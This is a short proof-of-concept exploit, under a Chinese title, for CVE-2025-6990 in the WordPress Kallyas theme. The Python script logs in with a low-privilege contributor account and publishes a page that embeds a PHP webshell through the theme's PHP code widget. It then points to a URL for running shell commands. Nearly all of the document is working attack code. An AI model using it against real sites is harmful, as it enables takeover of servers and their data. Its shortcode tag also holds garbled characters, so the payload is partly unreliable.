CVE-2025-6990 WordPress Kallyas主题远程代码执行漏洞

# CVE-2025-6990 PoC - Kallyas Theme RCE # Requires Contributor+ level access to WordPress import requests import sys from bs4 import BeautifulSoup TARGET_URL = "http://target-wordpress-site.com" USERNAME = "attacker" PASSWORD = "password123" # PHP payload for code execution (webshell) PHP_PAYLOAD = "<?php if(isset($_GET['cmd'])){ system($_GET['cmd']); } ?>" def exploit(): session = requests.Session() # Step 1: Login to WordPress with low-privilege account login_url = f"{TARGET_URL}/wp-login.php" login_data = { 'log': USERNAME, 'pwd': PASSWORD, 'wp-submit': 'Log In', 'redirect_to': '/wp-admin/', 'testcookie': '1' } login_response = session.post(login_url, data=login_data) if 'wordpress_logged_in' not in session.cookies.get_dict(): print("[-] Login failed") return False print("[+] Login successful with Contributor account") # Step 2: Create new page page_url = f"{TARGET_URL}/wp-admin/post-new.php?post_type=page" page_response = session.get(page_url) # Extract nonce for page creation soup = BeautifulSoup(page_response.text, 'html.parser') nonce_field = soup.find('input', {'id': '_wpnonce_create-page'}) if not nonce_field: print("[-] Could not find nonce") return False nonce = nonce_field.get('value') # Step 3: Add page with malicious PHP code via TH_PhpCode widget # This simulates using the Kallyas pagebuilder with TH_PhpCode widget post_data = { 'post_title': 'Malicious Page', 'post_status': 'publish', 'content': '[zn区"php_code]\n' + PHP_PAYLOAD + '\n[/zn区"php_code]', '_wpnonce_create-page': nonce, 'publish': 'Publish' } publish_response = session.post(page_url, data=post_data) if publish_response.status_code == 200: print("[+] Malicious page created successfully") print(f"[+] Access the page at: {TARGET_URL}/?page_id=<ID>&cmd=whoami") return True print("[-] Failed to create page") return False if __name__ == "__main__": exploit()